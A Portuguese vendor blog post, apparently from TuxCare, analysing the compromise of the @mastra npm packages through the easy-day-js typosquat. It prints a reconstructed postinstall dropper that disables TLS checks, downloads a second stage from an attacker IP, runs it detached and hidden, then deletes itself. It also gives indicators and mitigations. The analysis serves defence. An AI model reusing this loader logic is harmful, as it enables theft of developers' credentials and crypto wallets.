Ataque ao npm Mastra: como uma única linha de dependência disseminou malware

Vá direto para um resumo gerado por IA desta postagem do blog

A versão resumida

O que: Em 17 de junho de 2026, um invasor utilizou uma conta de mantenedor que havia sido comprometida para republicar mais de 140 pacotes em todo o @mastra npm scope, a estrutura de agentes de IA da equipe responsável pelo Gatsby. O código da biblioteca permaneceu inalterado; cada versão apenas adicionava uma linha de dependência apontando para easy-day-js, um domínio falsificado do dayjs que executa um código malicioso remoto durante a instalação.

Impacto: Mais de 140 pacotes republicados em cerca de 88 minutos (os relatórios variam entre mais de 140 e 144). O escopo gera dezenas de milhões de downloads por mês (os fornecedores estimam o total em cerca de 29 milhões; @mastra/core (só isso já representa cerca de 4 milhões por mês, ou seja, cerca de 918 mil por semana), embora o alcance real do ataque seja menor, já que você só fica vulnerável se tiver instalado o programa a partir de 17 de junho. A carga maliciosa é um programa multiplataforma que rouba informações e carteiras de criptomoedas, que persiste no Windows, macOS e Linux e envia sinais para a infraestrutura do invasor.

Status: A limpeza do npm parece estar em andamento: easy-day-js removida, a conta ehindero removida como proprietária, as tags maliciosas mais recentes revertidas e a Mastra lançando versões limpas progressivamente. No entanto, espelhos, caches, arquivos de bloqueio, instantâneos de pacotes menores e ambientes já instalados ainda podem conter as versões comprometidas. Trate qualquer host que tenha instalado uma versão afetada @mastra considerar como comprometido qualquer pacote recebido a partir de 17 de junho, até que se prove o contrário.

Gravidade: Alta. O malware é executado durante a instalação via `npm install`, antes de qualquer importação; portanto, basta uma atualização do arquivo de bloqueio ou uma nova instalação para que o sistema seja afetado. Não se trata de um único pacote malicioso que você marca como fixo e esquece; é um padrão repetível: contaminar uma dependência transitiva, manter o código do pacote confiável intacto e deixar que os ganchos de instalação façam o trabalho.

Por que isso é importante para a verificação de pacotes: nenhum malware foi inserido no próprio código do Mastra. O invasor adicionou uma linha de dependência e removeu a proveniência SLSA normal do projeto; portanto, a revisão apenas do código-fonte do pacote em questão não detecta a ameaça, pois o código malicioso está localizado uma dependência abaixo. Essa é a lacuna que o SecureChain preenche, analisando novas versões no momento da integração (diferenças entre versões, dependências novas ou não utilizadas, ganchos de instalação, cargas úteis ofuscadas) antes que uma versão seja considerada confiável nas etapas posteriores do processo.

Faça isso agora: Verifique se há algum problema nos arquivos de bloqueio @mastra pacote ou easy-day-js, considere comprometida qualquer máquina na qual o programa tenha sido instalado, alterne as credenciais expostas e audite as carteiras de criptomoedas, bloqueie os dois endereços C2 e mantenha o Mastra na última versão com proveniência comprovada.

Isso me afeta?

Você pode ser afetado se a sua organização:

Já instalou algum? @mastra/* pacote, o nível superior mastra pacote, ou create-mastra a partir de 17 de junho de 2026
Executa o comando `npm install` em pipelines de CI, compilação ou implantação sem desativar os scripts de instalação
Atualiza automaticamente as dependências ou utiliza intervalos de caret que são resolvidos para a versão mais recente compatível no momento da instalação
Cria agentes ou aplicativos de IA no Mastra, o que significa que os hosts afetados provavelmente contêm chaves de API de LLM, credenciais de nuvem e tokens de banco de dados
Consome qualquer pacote que, por sua vez, dependa de um componente Mastra, já que o risco se estende transitivamente
Existem extensões de navegador para carteiras de criptomoedas instaladas no computador de um desenvolvedor que executou uma instalação afetada?
Considera um editor conhecido, uma instalação “green” ou uma dependência que já estava limpa como prova de que uma versão é segura

Um bom ponto de partida é verificar se a dependência “dropper” foi resolvida em algum lugar da sua árvore de dependências:

npm ls easy-day-js

grep -REn "@mastra/|\"mastra\"|easy-day-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null

Em seguida, procure nos hosts e nos runners os artefatos que o dropper deixa para trás:

ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null

find "$HOME" -maxdepth 1 -type f -name '*.js' -newermt '2026-06-17' 2>/dev/null

Se alguma das buscas retornar algum resultado, não exclua os arquivos nem faça a rotação de chaves ainda — preserve o host primeiro. O gancho de instalação buscou sua carga útil real em tempo de execução e se autoexcluiu; portanto, o dropper no disco não é a história completa, e você precisará dos logs e do processo gerado antes de começar a limpeza.

O que é o “Mastra Attack” do easy-day-js

O Mastra é um framework de código aberto em TypeScript para a criação de agentes de IA, fluxos de trabalho em várias etapas e pipelines RAG, com integração nativa aos principais provedores de LLM, bancos de dados vetoriais e destinos de implantação na nuvem. No total, seus pacotes somam dezenas de milhões de instalações por mês. Esse alcance, somado ao fato de que os ambientes do Mastra costumam conter exatamente as credenciais que um invasor deseja, foi o que tornou uma conta roubada tão valiosa.

Eis como tudo aconteceu. Um invasor assumiu o controle da conta “ehindero” no npm, de um ex-colaborador do Mastra cujo acesso ao escopo nunca havia sido revogado e que, segundo relatos, estava inativa há cerca de 16 meses. O npm não possui prazo de validade para permissões de escopo que revogue esse tipo de acesso, de modo que uma conta de colaborador há muito inativa continuava sendo uma chave ativa para todo o namespace. Nas primeiras horas do dia 17 de junho, o invasor executou o que era claramente um script: ele percorreu o @mastra A organização reeditou pacote após pacote, mais ou menos na ordem de download, em grupos compactos. Os primeiros 32 pacotes, aproximadamente, foram disponibilizados nos primeiros 27 minutos; a fase mais ampla, com mais de 140 pacotes, durou cerca de 88 minutos.

Todos os pacotes afetados continham o código original e não modificado da biblioteca Mastra, com apenas uma nova linha no arquivo package.json: uma dependência de easy-day-js. Esse é todo o compromisso por parte da Mastra. Uma única linha.

easy-day-js é a verdadeira arma, e está um nível abaixo. Trata-se de um “typosquat” do dayjs, uma biblioteca de datas com mais de 40 milhões de downloads semanais, copiada de forma tão fiel que passa despercebida à primeira vista: mesma descrição, mesmos metadados do autor, mesma página inicial e mesmo URL do repositório, além do arquivo dayjs.min.js original incluído no pacote. A única diferença significativa na versão maliciosa é um único arquivo adicionado e um gancho pós-instalação que o executa.

Essa é a parte que vale a pena analisar com calma. Os pacotes que você provavelmente verificaria primeiro, os @mastra Esses pacotes têm um código de biblioteca limpo. O malware está em uma dependência que a maioria desses pacotes nem sequer importa. Ele não realiza nenhuma função para a biblioteca. Sua única função é ser resolvido e instalado, o que já é suficiente para acionar o gancho.

Como uma única linha alcançou a todos: o truque da resolução de versões

O invasor agiu discretamente um dia antes. Em 16 de junho, às 07h05 UTC, uma conta associada, sergey2016, publicou [email protected] como um clone do dayjs limpo e totalmente funcional, sem nenhum gancho de instalação. Um engodo. Essa versão limpa é a que está integrada aos pacotes do Mastra, declarada como:

"easy-day-js": "^1.11.21"

O símbolo de inserção é o segredo. Um intervalo com o símbolo de inserção indica ao npm para selecionar a versão mais recente compatível no momento da instalação, e não exatamente a versão especificada. Portanto, quando [email protected] foi colocado no ar às 01h01 UTC do dia 17 de junho, contendo o dropper; a partir daí, toda nova instalação de um pacote Mastra afetado passou a baixar automaticamente a versão maliciosa. Não houve nenhuma outra alteração em nenhum @mastra Era necessário um pacote. O veneno foi preparado e, em seguida, trocado onze minutos antes do início da republicação em todo o escopo.

Há um detalhe técnico que indica que isso não foi improvisado. O Socket informou que uma amostra idêntica do carregador havia sido detectada em ambientes de teste públicos por volta de 29 de maio, cerca de 19 dias antes da publicação do Mastra. Tratava-se de uma ferramenta reutilizada, não de algo criado especificamente para essa ocasião.

Cada lançamento malicioso também omitiu o atestado de proveniência SLSA que o pipeline do GitHub Actions da Mastra normalmente gera, e vários deles acionaram uma verificação de incompatibilidade de metadados, pois o repositório mastra-ai/mastra declarado não atestava a autenticidade do artefato publicado. Ambos os fatos apontam para a mesma conclusão: uma publicação manual feita de fora da infraestrutura de integração contínua (CI) do projeto, utilizando um token com direitos em toda a organização.

Por dentro do conta-gotas

O arquivo malicioso em [email protected] é um script de aproximadamente 4,5 KB executado por um gancho pós-instalação:

"scripts": {
  "postinstall": "node setup.cjs --no-warnings"
}

O --no-warnings O sinalizador suprime os avisos de tempo de execução do Node que, de outra forma, poderiam chamar a atenção de quem estiver acompanhando o andamento da instalação. O próprio script é ofuscado por meio de uma matriz de strings com alfabeto personalizado e rotação, protegida por um decodificador base64, com uma verificação de integridade aritmética — o tipo de camada destinada a impedir a análise estática que avalia a matriz antes que a rotação seja executada. Uma vez reconstruída, a rotina de instalação faz o seguinte:

// 1. Disable TLS certificate validation for the whole process
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';

(async () => {
  try {
    const stage2Url = 'https://23.254.164.92:8000/update/49890878';
    const stage2C2  = '23.254.164.123:443';

    // 2. Drop marker/beacon files (home or temp dir, depending on the variant)
    fs.writeFileSync(path.join(os.homedir(), '.pkg_history'), __dirname, 'utf-8');
    fs.writeFileSync(path.join(os.homedir(), '.pkg_logs'), markerBytes);

    // 3. Fetch the second stage over the now-unverified TLS connection
    const payload = await (await fetch(stage2Url)).text();

    // 4. Write it to a random 24-hex-character filename
    const name = crypto.randomBytes(12).toString('hex') + '.js';
    const dest = path.join(os.homedir(), name);
    fs.writeFileSync(dest, payload, 'utf-8');

    // 5. Run it detached and hidden, so it outlives the install
    child_process.spawn(process.execPath, [dest, stage2C2], {
      cwd: os.homedir(), detached: true, stdio: 'ignore', windowsHide: true
    }).unref();
  } catch {}
  finally {
    // 6. Delete the dropper to remove the on-disk evidence
    fs.rmSync(__filename, { force: true });
  }
})();

Cada passo tem seu valor. Configuração NODE_TLS_REJECT_UNAUTHORIZED=0 permite que o dropper se comunique com um endereço IP simples na porta 8000, sem nenhum certificado válido. A carga útil real nunca é incluída no arquivo tar, sendo baixada apenas no momento da instalação; assim, o artefato publicado permanece pequeno e com aparência limpa. detached: true além disso .unref() significa que o processo criado continua em execução após o retorno do comando `npm install`, e windowsHide: true mantém isso fora da tela no Windows. O bloco `finally` remove setup.cjs, então, uma verificação posterior no diretório `node_modules` não revelou nada.

Um detalhe importante a se saber sobre a geração de relatórios: os fornecedores divergem quanto ao local onde os arquivos de marcador e a carga útil preparada são salvos — se no diretório home ou no diretório temporário do sistema operacional. Verifique ambos. O comportamento é o mesmo em qualquer um dos casos.

A segunda fase é onde ocorre o dano. Trata-se de um programa de roubo de informações multiplataforma que coleta o histórico do navegador, inventaria dados de mais de 160 extensões de navegador de carteiras de criptomoedas, instala mecanismos de persistência no Windows, macOS e Linux e exfiltra os dados para o C2. Ele também aguarda comandos, incluindo um módulo de download e execução obtido a partir de uma URL fornecida pelo invasor. Em um host de compilação do Mastra, o recurso mais valioso ao alcance geralmente é o ambiente: chaves de API de LLM, credenciais de nuvem, registro e tokens de CI.

Se você instalou uma versão afetada, considere que o servidor está comprometido, e não apenas a árvore de pacotes. O hook é apenas uma pequena parte da história.

O aspecto que deve mudar a maneira como você encara o processo de admissão

É tentador classificar isso como “mais um caso de typosquatting” e seguir em frente. Mas isso ignora o que, na verdade, levou à derrota das defesas neste caso.

A Mastra faz as coisas quase sempre da maneira certa. Ela distribui versões reais da integração contínua (CI) por meio do fluxo de editores confiáveis do npm, e essas versões trazem a proveniência SLSA. O problema é que a Mastra gerava a proveniência, mas não a exigia na instalação. Assim, um token padrão poderia publicar uma versão sem atestado, e nada a jusante a rejeitaria. Uma política que exigisse proveniência de editor confiável, verificação de assinatura ou atestados teria rejeitado todos os pacotes dessa leva.

Agora veja o que um revisor de código teria percebido. Selecione qualquer arquivo afetado @mastra Analise o pacote e leia o código-fonte da biblioteca. Ele está intacto. Há exatamente uma nova linha no `package.json`: uma dependência de um pacote cujo nome se assemelha ao de uma biblioteca de data, que o pacote nunca importa. Se o seu controle de admissão analisar apenas o código-fonte da própria biblioteca do pacote em questão, ele não detectará nada de errado, pois nada nesse código-fonte está errado.

Essa é a lacuna, e ela tem a mesma forma do problema em que o mantenedor publica código-fonte corrompido, por trás de incidentes como o do Tiledesk: a violação da integridade ocorre antes ou um nível acima de onde o sinal de confiança aponta. A autenticação de dois fatores (2FA) e um emissor conhecido confirmam que a versão veio da conta verdadeira. Eles não indicam se a versão incorporou uma dependência maliciosa, nem se foi lançada sem a proveniência que seu próprio pipeline normalmente produz.

Essa é exatamente a lacuna específica que o SecureChain foi desenvolvido para resolver. Como ele analisa as diferenças entre versões durante a integração, em vez de confiar no evento de publicação, ele examinaria o que realmente mudou entre a última versão limpa do Mastra e esta: uma nova dependência não utilizada adicionada a um pacote maduro, um atestado de proveniência removido e, um nível abaixo, um gancho pós-instalação executando uma carga ofuscada.

Essas são exatamente as categorias que devem servir de alerta — uma nova dependência não utilizada, um gancho de execução durante a instalação, ofuscação, busca em tempo de execução e comportamento de exfiltração — antes que a versão seja distribuída aos usuários finais.

O ataque Mastra deixou uma coisa bem clara: um pacote aparentemente inofensivo ainda pode conter malware	Obtenha o SecureChain
O SecureChain analisa componentes de código aberto antes da instalação, incluindo diferenças suspeitas, dependências novas ou não utilizadas, ganchos de instalação ocultos e comportamentos de exfiltração — e, em seguida, garante sua segurança até o fim do ciclo de vida (EOL).

Mitigação

Encare isso como um motivo para verificar a importação e a exposição na máquina de revelação, e não apenas para aumentar o número da versão.

Verifique sua árvore de dependências Correr npm ls easy-day-js e procure nos seus arquivos de bloqueio (package-lock.json, yarn.lock, pnpm-lock.yaml) por @mastra, mastra, e easy-day-js. Faça isso em todos os repositórios e nos computadores dos desenvolvedores, não apenas na integração contínua (CI). Um intervalo de datas, somado a uma instalação realizada a partir de 17 de junho, é suficiente para que a carga maliciosa tenha sido baixada.
Treat affected hosts as compromised If an affected version installed anywhere, the dropper disabled TLS validation in-process and launched a detached child fetched at runtime. Isolate the host, hunt for and kill any detached Node process spawned around install time, remove the random <24-hex>.js file and the .pkg_history / .pkg_logs markers from the home or temp directory, and check for the OS-specific persistence artifacts the second stage installs. Preserve logs before you clean.
Alterne as credenciais expostas e verifique as carteiras. Alterne todas as credenciais acessíveis a partir do host ou do executor: chaves de nuvem, chaves de API de LLM, tokens de registro e de CI, chaves SSH e qualquer informação contida nas variáveis de ambiente que a compilação possa ler. Como a segunda etapa tem como alvo extensões de carteiras de criptomoedas, audite todas as carteiras nas máquinas dos desenvolvedores afetadas, fique atento a transações não autorizadas e atualize as carteiras de alto valor com novas frases-semente.
Bloqueie o C2 e analise o tráfego de saída. Bloqueie o tráfego de saída para os endereços 23.254.164.92 e 23.254.164.123 e analise os registros do proxy, do firewall e do NetFlow em busca de conexões com qualquer um desses endereços desde as 01h12 UTC do dia 17 de junho. O bloqueio de IPs serve para limpeza e análise histórica, não como uma defesa duradoura, já que a infraestrutura sofre rotação.
Fixar em versões com proveniência comprovada e bloquear o typosquat Defina todas as dependências do Mastra com a última versão publicada pelo GitHub Actions com proveniência, valide seus arquivos de bloqueio e adicione easy-day-js à sua lista de bloqueio do registro. Inclua tanto 1.11.21 quanto 1.11.22. O isca ainda está sob o controle do invasor, mesmo que não contenha o dropper.
Desativar scripts de instalação por padrão npm install --ignore-scripts neutraliza essa classe específica de dropper pós-instalação. Adote-a como padrão na CI sempre que possível e documente a lista resumida de dependências que realmente precisam de scripts de compilação, para que uma exceção seja uma decisão deliberada, e não a regra implícita.
Exigir a verificação de assinaturas e proveniência. Exigir proveniência de editor confiável, assinaturas ou atestados em dependências de alto risco e de primeira mão. Todas as versões lançadas nesta onda não apresentavam a proveniência normal, de modo que uma política de instalação com verificação as teria rejeitado. Um período de espera para versões recém-publicadas também ajuda, já que muitos lançamentos maliciosos são detectados em questão de horas.

Detecção

Nenhum resultado isolado de varredura confirma a exposição. As evidências estão espalhadas por arquivos de bloqueio, registros de instalação, sistemas de arquivos do host, registros de rede e listas de processos. Os sinais comportamentais também perduram mais do que os sinais atômicos, já que o operador alterna a infraestrutura e randomiza os nomes dos arquivos.

Entre os sinais úteis estão:

Um processo do arquivo setup.cjs do Node.js em execução durante a instalação do npm
NODE_TLS_REJECT_UNAUTHORIZED=0 definido por um script de instalação
Um processo filho independente do Node gerado durante ou logo após a instalação, sem saída no console
Os arquivos de registro ~/.pkg_history e ~/.pkg_logs, no diretório pessoal ou no diretório temporário
Um arquivo .js aleatório com 24 caracteres hexadecimais no diretório home ou no diretório temp
Conexões de saída de um host de compilação ou de uma máquina de desenvolvedor para 23.254.164.92:8000 ou 23.254.164.123:443
Artefatos de persistência específicos do sistema operacional denominados NvmProtocal, com.nvm.protocal.plist ou nvmconf.service no Windows, macOS e Linux, respectivamente [verifique os nomes exatos antes da publicação; informações fornecidas por fontes secundárias]
Qualquer @mastra/* ou mastra versão datada de 17/06/2026 em um arquivo de bloqueio, especialmente um publicado sem proveniência SLSA
easy-day-js que apareça em qualquer lugar de uma árvore resolvida
Segundo relatos, o Microsoft Defender for Endpoint identifica a carga útil durante a instalação como Trojan:JS/ObfusNpmJs; portanto, um alerta do EDR relacionado a essa assinatura durante uma instalação do npm deve ser considerado uma pista importante [verificar antes de publicar].

Principais indicadores de comprometimento:

[email protected] como o dropper usado como arma
[email protected] como isca limpa, ainda sob o controle do atacante
As contas de publicação: ehindero para o @mastra pacotes, e sergey2016 por easy-day-js
C2 e carga útil: https://23.254.164.92:8000/update/49890878 e 23.254.164.123:443
O gatilho de instalação: “postinstall”: “node setup.cjs –no-warnings”

Essas verificações são um ponto de partida, não um atestado de boa saúde.

Lista de verificação de medidas corretivas priorizadas

Verificar arquivos de bloqueio e árvores: pesquisar em todos os repositórios e máquinas dos desenvolvedores por @mastra, mastra, create-mastra, e easy-day-js.
Isolar os hosts afetados pela quarentena: isolar tudo o que tenha executado uma instalação afetada antes da limpeza.
Preserve as evidências: mantenha os registros de instalação, o histórico de processos e os arquivos de marcação antes de excluir os artefatos.
Alterar as senhas: credenciais de nuvem, LLM, registro, CI e SSH acessíveis a partir de qualquer host afetado.
Auditoria de carteiras: verifique as carteiras de criptomoedas e as extensões nos computadores dos desenvolvedores afetados e atualize as carteiras de alto valor com novas frases-semente.
Remover persistência: verifique e remova a persistência específica do sistema operacional que a segunda etapa instala no Windows, no macOS e no Linux.
O Bloco C2 e o typosquat: bloqueie os endereços 23.254.164.92 e 23.254.164.123 e coloque ambos na lista de bloqueio easy-day-js versões.
Fixar e verificar: fixar o Mastra na última versão com proveniência comprovada e exigir atestados na instalação.
Admissão Harden: por padrão, para --ignore-scripts sempre que possível, estabeleça um período de espera para novas versões e analise as adições de dependências novas ou não utilizadas como um sinal por si só.

Por que isso vai além de uma simples campanha

O ataque Mastra não é interessante por causa de sua magnitude, embora essa magnitude seja real. Ele é interessante por causa do local onde a alteração maliciosa estava alojada e do quão pequena ela era. Uma única linha em um pacote que, fora isso, era totalmente legítimo, apontando para uma dependência a um passo de distância, executada antes que alguém importasse qualquer coisa.

Isso contraria os pressupostos nos quais a maioria dos controles de admissão se baseia. Um editor conhecido não é garantia. Uma instalação “green” não é garantia. Um pacote cujo código-fonte seja limpo não é garantia, porque o código-fonte que você está lendo e a dependência que está causando o dano não são o mesmo artefato. E a assinatura ou a autenticação de duas etapas (2FA) confirmam quem publicou, não o que foi incluído.

A posição defensável é analisar a versão completa, e não apenas o pacote principal: o que mudou desde a última versão, se surgiu uma nova dependência e se algo realmente a utiliza, se os ganchos de instalação são executados, se a compilação trouxe a proveniência que normalmente traz e se algum elemento na árvore de código-fonte busca e executa código durante a instalação. Esse é o raciocínio no momento da aceitação, e é o que detecta uma troca de dependência de uma única linha que tanto a revisão de código-fonte quanto a confiança no editor deixam passar.

Esse é o problema que o SecureChain foi desenvolvido para resolver. Ele oferece às organizações uma fonte confiável de componentes de código aberto, com triagem de malware, inspeção no nível do código-fonte, verificação de proveniência e correção contínua de vulnerabilidades CVE ao longo de todo o ciclo de vida do componente. Para novas versões de pacotes, ele analisa as diferenças entre versões e sinaliza alterações suspeitas — incluindo dependências novas e não utilizadas, ganchos de execução durante a instalação, cargas úteis ofuscadas e comportamentos de exfiltração — antes que elas sejam consideradas confiáveis nas etapas posteriores.

Em um caso como o do Mastra, em que o pacote portador é publicado sem erros e o malware está em uma dependência abaixo, essa visualização em nível de diferença é o que se interpõe entre o evento de publicação e sua compilação.

Conheça o SecureChain agora →

Perguntas frequentes

Os próprios pacotes do Mastra eram maliciosos? Não. O código da biblioteca deles permaneceu inalterado. Cada versão afetada adicionou uma única dependência de easy-day-js, e esse pacote continha o dropper. O malware foi executado um nível abaixo, durante a instalação, e é por isso que a análise do @mastra A fonte da biblioteca, por si só, não é suficiente.

Eu só atualizei meu arquivo de bloqueio; nunca importei um pacote do Mastra. Estou seguro? Provavelmente não. O código malicioso é executado a partir de um gancho pós-instalação durante o comando `npm install`, antes de qualquer importação. Resolver e instalar um pacote afetado, ou permitir que um intervalo de caracteres seja extraído [email protected], já é o suficiente para acioná-lo.

Por que o malware se espalhou por meio de uma versão isca inofensiva? Os pacotes do Mastra dependiam do “easy-day-js”: “^1.11.21”, uma versão inofensiva publicada um dia antes. O intervalo indicado pelo símbolo de caret é resolvido como a versão mais recente disponível no momento da instalação; assim, assim que a versão 1.11.22, que continha o malware, foi disponibilizada, as novas instalações a baixaram automaticamente, sem que fosse necessária qualquer alteração adicional nos pacotes do Mastra.

A proveniência ou a assinatura do SLSA protegeram alguém aqui? Somente se tivessem sido aplicadas. O Mastra gerava proveniência nas publicações do CI, mas as versões maliciosas a omitiram. Uma política de instalação que verificasse assinaturas ou exigisse atestados teria rejeitado as versões afetadas.

Quem estava por trás disso? A autoria não foi confirmada. A Snyk observou que a técnica utilizada — um dropper que se autoexclui no momento da instalação — se assemelha ao ataque à Axios no npm ocorrido no início de 2026, que a Microsoft Threat Intelligence atribuiu ao agente que ela rastreia como Sapphire Sleet (BlueNoroff); no entanto, ficou claro que se trata de um padrão digno de nota, e não de uma ligação confirmada com este incidente. Trate o método como o que deve ser combatido, e não o nome da marca.

Qual é a medida de mitigação mais rápida? Desative os scripts de instalação sempre que possível. npm install --ignore-scripts bloqueia o gancho pós-instalação e neutraliza esse caminho específico do trojan de dependência. Combine isso com a vinculação a versões respaldadas pela provenance e com o uso de listas de bloqueio easy-day-js.

Eu executo muito poucos pacotes do npm diretamente. Ainda assim, eu poderia estar vulnerável? É possível. O risco é transitivo. Se algum elemento da sua árvore depender de um componente Mastra comprometido, você herdou a dependência desse easy-day-js junto com isso.

Qual é a solução mais importante a longo prazo? Pare de considerar um editor conhecido ou um pacote com aparência confiável como garantia de segurança e transfira as decisões de confiança para a fase de aceitação. Analise as diferenças entre versões, identifique dependências novas e não utilizadas, exija a proveniência e inspecione o que é executado durante a instalação, em vez de apenas verificar o artefato final depois que ele já estiver em seu ambiente.

Fontes

Resumo

Nome do artigo

Ataque ao npm Mastra: como uma única linha de dependência disseminou malware

Descrição

A vulnerabilidade “Mastra” no npm adicionou o easy-day-js a mais de 140 pacotes, acionando a instalação de malware por meio de uma dependência que utilizava um domínio com erro ortográfico.

Autor

Chris DeMars

Nome da editora

TuxCare

Logotipo da editora